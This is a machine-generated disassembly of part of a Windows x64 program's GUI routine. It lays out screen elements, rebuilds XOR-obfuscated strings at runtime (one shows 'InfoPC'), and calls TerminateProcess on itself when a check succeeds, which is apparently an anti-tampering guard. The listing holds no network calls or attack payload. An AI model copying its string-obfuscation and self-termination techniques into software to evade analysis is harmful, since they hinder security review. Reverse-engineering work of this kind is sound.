mov qword [rbp + 0x1d0], 0
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x8c
movd xmm6, eax
cvtdq2ps xmm6, xmm6
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x1d8], xmm0
movss dword [rbp + 0x1dc], xmm6
lea r8, [rbp + 0x1d0]
mov edx, 8
lea rcx, [rbp + 0x1d8]
call fcn.14008d7f0
xor edx, edx
lea rcx, [0x1401ffa40]
call fcn.14008d840
mov qword [rbp + 0x1e0], 0
lea rdx, [rbp + 0x1e0]
mov ecx, r13d
call fcn.140089ce0
mov qword [rbp + 0x2b10], rdi
mov qword [rbp + 0x2b18], rsi
xorps xmm2, xmm2
movabs rax, 0x655f566ae3a09e92
mov qword [rbp + 0x2b30], rax
movabs rax, 0x6d89820c73a80347
mov qword [rbp + 0x2b38], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2b30]
pxor xmm0, xmmword [rbp + 0x2b10]
movdqa xmmword [rbp + 0x9d70], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x9d80], xmm2
lea rax, [rbp + 0xd1e0]
lea rcx, [rbp + 0x9d70]
mov edx, 2
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400662a0
mov r8d, Ordinal_301
lea rcx, [rbp + 0xd1e0]
call fcn.140073dd0
call fcn.140082730
mov rsi, rax
movaps xmm0, xmmword [0x140114ce0]
movups xmmword [rbp + 0x13e0], xmm0
lea rcx, [rbp + 0x13e0]
call fcn.140078ff0
mov edi, eax
mov dword [rbp + 0x1e8], 0x3f800000
mov dword [rbp + 0x1ec], 0x3f800000
mov qword [rbp + 0x1f0], 0
lea rcx, [rbp + 0x12a0]
call fcn.140082780
mov rbx, rax
lea rcx, [rbp + 0x12a8]
call fcn.140082760
movss xmm1, dword [rbx + 4]
addss xmm1, dword [rax + 4]
movss xmm0, dword [rax]
addss xmm0, dword [rbx]
movss dword [rbp + 0x1f8], xmm0
movss dword [rbp + 0x1fc], xmm1
lea rcx, [rbp + 0x12b0]
call fcn.140082760
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x1e8]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x1f0]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x1f8]
mov r8, rax
mov rdx, qword [rbp + 0x14570]
mov rcx, rsi
call fcn.140093a60
mov qword [rbp + 0x200], 0
lea rcx, [rbp + 0x200]
call fcn.14008d5f0
movaps xmm10, xmm13
divss xmm10, xmm14
movss dword [rbp + 0x80], xmm10
movss dword [rbp + 0x578], xmm10
mov qword [rbp + 0x57c], 0
mov dword [rbp + 0x584], 0x3e4ccccd
lea rcx, [rbp + 0x578]
call fcn.140078ff0
mov edx, eax
mov ecx, 5
call fcn.140089c10
movss xmm0, dword [0x1401ffa40]
movss dword [rbp + 0x208], xmm0
mov dword [rbp + 0x20c], 0x41f00000
movabs rax, 0x25b1bcb23241eee
mov qword [rbp + 0x2b50], rax
movabs rax, 0x74dcec2ab177ea33
mov qword [rbp + 0x2b58], rax
xorps xmm2, xmm2
movabs rax, 0x67357a9b53713dcd
mov qword [rbp + 0x2b70], rax
movabs rax, 0x74dcec2ab177ea5f
mov qword [rbp + 0x2b78], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2b70]
pxor xmm0, xmmword [rbp + 0x2b50]
movdqa xmmword [rbp + 0x5310], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x5320], xmm1
lea rcx, [rbp + 0x9cd0]
lea rax, [rbp + 0x5310]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x9cd0]
call fcn.140076750
lea rcx, [rbp + 0x12b8]
call fcn.140082780
movss xmm6, dword [rax]
xorps xmm2, xmm2
cmp byte [section..data], 0
je 0x1400666c4
movabs rax, 0x130de0e18a4d89ee
mov qword [rbp + 0x1cf0], rax
movabs rax, 0x2a20847c51742e77
mov qword [rbp + 0x1cf8], rax
movabs rax, 0x8319ac3e7f56e9f
mov qword [rbp + 0x1d00], rax
movabs rax, 0xc9167e384950909
mov qword [rbp + 0x1d08], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x7b59c08aeb28fbac
mov qword [rbp + 0x1d30], rcx
movabs rcx, 0x7100e11130330e12
mov qword [rbp + 0x1d38], rcx
movabs rcx, 0x831c7ad8e980ade
mov qword [rbp + 0x1d40], rcx
mov qword [rbp + 0x1d48], rax
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1cf0]
pxor xmm0, xmmword [rbp + 0x1d30]
movdqa xmmword [rbp + 0x8aa0], xmm0
movdqa xmm1, xmmword [rbp + 0x1d40]
pxor xmm1, xmmword [rbp + 0x1d00]
movdqa xmmword [rbp + 0x8ab0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x8ac0], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x8ad0], xmm3
lea rax, [rbp + 0xed40]
lea rcx, [rbp + 0x8aa0]
mov edx, 2
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140066630
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rbp + 0xed40]
jmp 0x1400667c6
movabs rax, 0x125a6a49e5b5f76
mov qword [rbp + 0x2b90], rax
movabs rax, 0x74862bc16820d37b
mov qword [rbp + 0x2b98], rax
movabs rax, 0x697186cfff3e2d34
mov qword [rbp + 0x2bb0], rax
movabs rax, 0x74864eac0967f31e
mov qword [rbp + 0x2bb8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2bb0]
pxor xmm0, xmmword [rbp + 0x2b90]
movdqa xmmword [rbp + 0x9170], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x9180], xmm1
lea rcx, [rbp + 0xbda0]
lea rax, [rbp + 0x9170]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rdx, [rbp + 0xbda0]
movss xmm12, dword [0x1401140f8]
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x12c0]
call fcn.1400780a0
subss xmm6, dword [rax]
movss xmm11, dword [0x140114070]
mulss xmm6, xmm11
movss dword [rbp + 0x210], xmm6
mov dword [rbp + 0x214], 0x40e00000
lea rcx, [rbp + 0x210]
call fcn.14008d5f0
xorps xmm2, xmm2
cmp byte [section..data], 0
je 0x1400669a4
movabs rax, 0xe2c683e576a9ecc
mov qword [rbp + 0x1c70], rax
movabs rax, 0x3d2bfe7dd7d28e1e
mov qword [rbp + 0x1c78], rax
movabs rax, 0x8c339da3974afee
mov qword [rbp + 0x1c80], rax
movabs rax, 0xdde2c3d84738f11
mov qword [rbp + 0x1c88], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x66784855360fec8e
mov qword [rbp + 0x1cb0], rcx
movabs rcx, 0x660b9b10b695ae7b
mov qword [rbp + 0x1cb8], rcx
movabs rcx, 0x8c364b45019cbaf
mov qword [rbp + 0x1cc0], rcx
mov qword [rbp + 0x1cc8], rax
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1cb0]
pxor xmm0, xmmword [rbp + 0x1c70]
movdqa xmmword [rbp + 0x8c10], xmm0
movdqa xmm1, xmmword [rbp + 0x1c80]
pxor xmm1, xmmword [rbp + 0x1cc0]
movdqa xmmword [rbp + 0x8c20], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x8c30], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x8c40], xmm3
lea rax, [rbp + 0xeeb0]
lea rcx, [rbp + 0x8c10]
mov edx, 2
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140066910
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rbp + 0xeeb0]
jmp 0x140066aa6
movabs rax, 0x1567e1d104a70b44
mov qword [rbp + 0x1d90], rax
movabs rax, 0x7e580e6ec4f26723
mov qword [rbp + 0x1d98], rax
movabs rax, 0x7d33c1ba65c27906
mov qword [rbp + 0x1db0], rax
movabs rax, 0x7e586b03a5b54746
mov qword [rbp + 0x1db8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x1db0]
pxor xmm0, xmmword [rbp + 0x1d90]
movdqa xmmword [rbp + 0x9260], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x9270], xmm1
lea rcx, [rbp + 0xbcb0]
lea rax, [rbp + 0x9260]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rdx, [rbp + 0xbcb0]
mov dword [rbp + 0x588], 0x3f7df3b6
movss dword [rbp + 0x58c], xmm10
movss dword [rbp + 0x590], xmm10
mov dword [rbp + 0x594], 0x3f800000
lea rcx, [rbp + 0x588]
call fcn.1400ae890
movss xmm0, dword [0x1401ffa40]
subss xmm0, xmm15
movss dword [rbp + 0x218], xmm0
mov dword [rbp + 0x21c], 0x40c00000
lea rcx, [rbp + 0x218]
call fcn.14008d5f0
movabs rax, 0x1fffffffe0444b36
mov qword [rbp + 0x1040], rax
movabs rax, 0xe00000001fba4276
mov qword [rbp + 0x1048], rax
movabs rcx, 0x1fffffffe0444b6e
mov qword [rbp + 0x1050], rcx
mov qword [rbp + 0x1058], rax
movdqa xmm0, xmmword [rbp + 0x1040]
pxor xmm0, xmmword [rbp + 0x1050]
movaps xmmword [rbp + 0x32b0], xmm0
movaps xmm0, xmmword [rbp + 0x4f60]
movaps xmmword [rbp + 0x32c0], xmm0
movaps xmm0, xmmword [0x140114cf0]
movups xmmword [rbp + 0x13f0], xmm0
lea rdx, [rbp + 0x32b0]
lea rcx, [rbp + 0x13f0]
call fcn.1400ae890
xor ecx, ecx
call fcn.1400836b0
test al, al
je 0x140066b9a
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.14007f260
movabs rax, 0x1ff002c2438de682
mov qword [rbp + 0x1060], rax
movabs rax, 0x1d80c5905a9250f5
mov qword [rbp + 0x1068], rax
movabs rcx, 0x1ff07aa733ccc5a1
mov qword [rbp + 0x1070], rcx
mov qword [rbp + 0x1078], rax
movdqa xmm0, xmmword [rbp + 0x1070]
pxor xmm0, xmmword [rbp + 0x1060]
movaps xmmword [rbp + 0x48c0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x48d0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x48e0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x48f0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4900], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4910], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4920], xmm0
movss xmm0, dword [0x140114094]
movss xmm6, dword [0x1401140bc]
unpcklps xmm0, xmm6
movsd qword [rsp + 0x20], xmm0
mov r9d, r13d
lea r8, [rbp + 0x48c0]
mov rdx, qword [rbp + 0x14600]
mov rcx, r14
call fcn.140010960
movabs rax, 0xf90dc39d6b151e
mov qword [rbp + 0x1080], rax
movabs rax, 0x319a1f4dad9b3dd
mov qword [rbp + 0x1088], rax
movabs rcx, 0xf977bafc2f363d
mov qword [rbp + 0x1090], rcx
mov qword [rbp + 0x1098], rax
movdqa xmm0, xmmword [rbp + 0x1080]
pxor xmm0, xmmword [rbp + 0x1090]
movaps xmmword [rbp + 0x4930], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4940], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4950], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4960], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4970], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4980], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4990], xmm0
movss xmm0, dword [0x1401140c8]
unpcklps xmm0, xmm6
movsd qword [rsp + 0x20], xmm0
mov r9d, 2
lea r8, [rbp + 0x4930]
mov rdx, qword [rbp + 0x14580]
mov rcx, r14
call fcn.140010960
movabs rax, 0x13a779fa5bca5122
mov qword [rbp + 0x2490], rax
movabs rax, 0x6261b714868abd61
mov qword [rbp + 0x2498], rax
xorps xmm2, xmm2
movabs rcx, 0x76cb109834877201
mov qword [rbp + 0x24b0], rcx
mov qword [rbp + 0x24b8], rax
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x24b0]
pxor xmm1, xmmword [rbp + 0x2490]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x4d80], xmm1
movaps xmmword [rbp + 0x4d90], xmm2
movaps xmm0, xmmword [rbp + 0x690]
movaps xmmword [rbp + 0x4da0], xmm0
movaps xmm0, xmmword [rbp + 0x6a0]
movaps xmmword [rbp + 0x4db0], xmm0
movaps xmm0, xmmword [rbp + 0x6b0]
movaps xmmword [rbp + 0x4dc0], xmm0
movaps xmm0, xmmword [rbp + 0x6c0]
movaps xmmword [rbp + 0x4dd0], xmm0
movaps xmm0, xmmword [rbp + 0x6d0]
movaps xmmword [rbp + 0x4de0], xmm0
movaps xmm0, xmmword [rbp + 0x6e0]
movaps xmmword [rbp + 0x4df0], xmm0
movaps xmm0, xmmword [rbp + 0x6f0]
movaps xmmword [rbp + 0x4e00], xmm0
movss xmm0, dword [0x1401140d8]
unpcklps xmm0, xmm6
movsd qword [rsp + 0x20], xmm0
mov r9d, 3
lea r8, [rbp + 0x4d80]
mov rdx, qword [rbp + 0x14590]
mov rcx, r14
call fcn.140010960
movabs rax, 0x1e77ee4d072becef
mov qword [rbp + 0x24d0], rax
movabs rax, 0x674730b938a4ec51
mov qword [rbp + 0x24d8], rax
xorps xmm2, xmm2
movabs rax, 0x7018b43f667ccfcc
mov qword [rbp + 0x24f0], rax
movabs rax, 0x674730b938a4ec34
mov qword [rbp + 0x24f8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x24f0]
pxor xmm0, xmmword [rbp + 0x24d0]
movdqa xmmword [rbp + 0x5260], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x5270], xmm2
lea rcx, [rbp + 0x9910]
lea rax, [rbp + 0x5260]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movss xmm0, dword [0x1401140e0]
unpcklps xmm0, xmm6
movsd qword [rsp + 0x20], xmm0
mov r9d, 4
lea r8, [rbp + 0x9910]
mov rdx, qword [rbp + 0x145f8]
mov rcx, r14
call fcn.140010960
movabs rax, 0xcd34f36fdcb961
mov qword [rbp + 0x10a0], rax
movabs rax, 0x1faf4eecd56950ee
mov qword [rbp + 0x10a8], rax
movabs rcx, 0xcd40801a8e9a42
mov qword [rbp + 0x10b0], rcx
mov qword [rbp + 0x10b8], rax
movdqa xmm0, xmmword [rbp + 0x10b0]
pxor xmm0, xmmword [rbp + 0x10a0]
movaps xmmword [rbp + 0x49a0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x49b0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x49c0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x49d0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x49e0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x49f0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4a00], xmm0
movss xmm0, dword [0x1401140e8]
unpcklps xmm0, xmm6
movsd qword [rsp + 0x20], xmm0
mov r9d, 5
lea r8, [rbp + 0x49a0]
mov rdx, qword [rbp + 0x145f0]
mov rcx, r14
call fcn.140010960
movabs rax, 0x3c65983fc9310da
mov qword [rbp + 0x2550], rax
movabs rax, 0x7c57b9e6b1ebfadc
mov qword [rbp + 0x2558], rax
xorps xmm2, xmm2
movabs rcx, 0x75a932f19dc733f9
mov qword [rbp + 0x2570], rcx
mov qword [rbp + 0x2578], rax
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x2550]
pxor xmm1, xmmword [rbp + 0x2570]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x4cf0], xmm1
movaps xmmword [rbp + 0x4d00], xmm2
movaps xmm0, xmmword [rbp + 0x690]
movaps xmmword [rbp + 0x4d10], xmm0
movaps xmm0, xmmword [rbp + 0x6a0]
movaps xmmword [rbp + 0x4d20], xmm0
movaps xmm0, xmmword [rbp + 0x6b0]
movaps xmmword [rbp + 0x4d30], xmm0
movaps xmm0, xmmword [rbp + 0x6c0]
movaps xmmword [rbp + 0x4d40], xmm0
movaps xmm0, xmmword [rbp + 0x6d0]
movaps xmmword [rbp + 0x4d50], xmm0
movaps xmm0, xmmword [rbp + 0x6e0]
movaps xmmword [rbp + 0x4d60], xmm0
movaps xmm0, xmmword [rbp + 0x6f0]
movaps xmmword [rbp + 0x4d70], xmm0
movss xmm0, dword [0x1401140f0]
unpcklps xmm0, xmm6
movsd qword [rsp + 0x20], xmm0
mov r9d, 6
lea r8, [rbp + 0x4cf0]
mov rdx, qword [rbp + 0x14578]
mov rcx, r14
call fcn.140010960
movabs rax, 0x19edf1f77ad685ba
mov qword [rbp + 0x980], rax
movabs rax, 0xde587ee3c9eb152
mov qword [rbp + 0x988], rax
movabs rcx, 0x19ed9a851b92a699
mov qword [rbp + 0x990], rcx
mov qword [rbp + 0x998], rax
movdqa xmm0, xmmword [rbp + 0x990]
pxor xmm0, xmmword [rbp + 0x980]
movaps xmmword [rbp + 0x4770], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4780], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4790], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x47a0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x47b0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x47c0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x47d0], xmm0
movss xmm0, dword [0x1401140f4]
unpcklps xmm0, xmm6
movsd qword [rsp + 0x20], xmm0
mov r9d, 7
lea r8, [rbp + 0x4770]
mov rdx, qword [rbp + 0x14588]
mov rcx, r14
call fcn.140010960
mov dword [rbp + 0x220], 0x40400000
mov dword [rbp + 0x224], 0x42c20000
lea rcx, [rbp + 0x220]
call fcn.14008d5f0
movss xmm0, dword [0x1401ffa40]
mulss xmm0, xmm11
subss xmm0, dword [0x140114090]
movss dword [rbp + 0x228], xmm0
mov dword [rbp + 0x22c], 0x431b0000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x228]
lea rcx, str.InfoPC
call fcn.140076750
mov rax, qword [r14 + 0xa0]
mov rcx, qword [rax + 0x48]
mov rcx, qword [rcx + 0x10]
call fcn.140089770
mov dword [rbp + 0x230], 0x40400000
mov dword [rbp + 0x234], 0x40a00000
lea rcx, [rbp + 0x230]
call fcn.14008d5f0
movzx r9d, byte [0x14020079f]
test r9b, r9b
je 0x1400672a5
movabs rax, 0x5ec3cae5dd
mov qword [rbp + 0x9a0], rax
movabs rax, 0x6e04fbfb9a6
mov qword [rbp + 0x9a8], rax
movabs rcx, 0x5ec3b98084
mov qword [rbp + 0x9b0], rcx
mov qword [rbp + 0x9b8], rax
movdqa xmm0, xmmword [rbp + 0x9a0]
pxor xmm0, xmmword [rbp + 0x9b0]
movaps xmmword [rbp + 0x3c80], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3c90], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3ca0], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3cb0], xmm0
lea r8, [rbp + 0x3c80]
jmp 0x14006730b
mov qword [rbp + 0x9c0], 0x3ba8f681
mov qword [rbp + 0x9c8], 0xffffffffbe517e22
mov qword [rbp + 0x9d0], 0x3ba899cf
mov qword [rbp + 0x9d8], 0xffffffffbe517e22
movdqa xmm0, xmmword [rbp + 0x9d0]
pxor xmm0, xmmword [rbp + 0x9c0]
movaps xmmword [rbp + 0x3790], xmm0
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x37a0], xmm0
movaps xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x37b0], xmm0
lea r8, [rbp + 0x3790]
movabs rax, 0x184e7492620923ef
mov qword [rbp + 0x2590], rax
movabs rax, 0x710b48815ae1885d
mov qword [rbp + 0x2598], rax
xorps xmm2, xmm2
movabs rax, 0x712215fb16604da6
mov qword [rbp + 0x25b0], rax
movabs rax, 0x71786da160c1ed27
mov qword [rbp + 0x25b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x25b0]
pxor xmm0, xmmword [rbp + 0x2590]
movdqa xmmword [rbp + 0xa3d0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa3e0], xmm1
lea rax, [rbp + 0xd2e0]
lea rcx, [rbp + 0xa3d0]
mov edx, 2
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140067390
test r9b, r9b
je 0x14006740f
mov dword [rbp + 0x598], edx
movss dword [rbp + 0x59c], xmm10
mov dword [rbp + 0x5a0], edx
mov dword [rbp + 0x5a4], 0x3f666666
lea rcx, [rbp + 0x598]
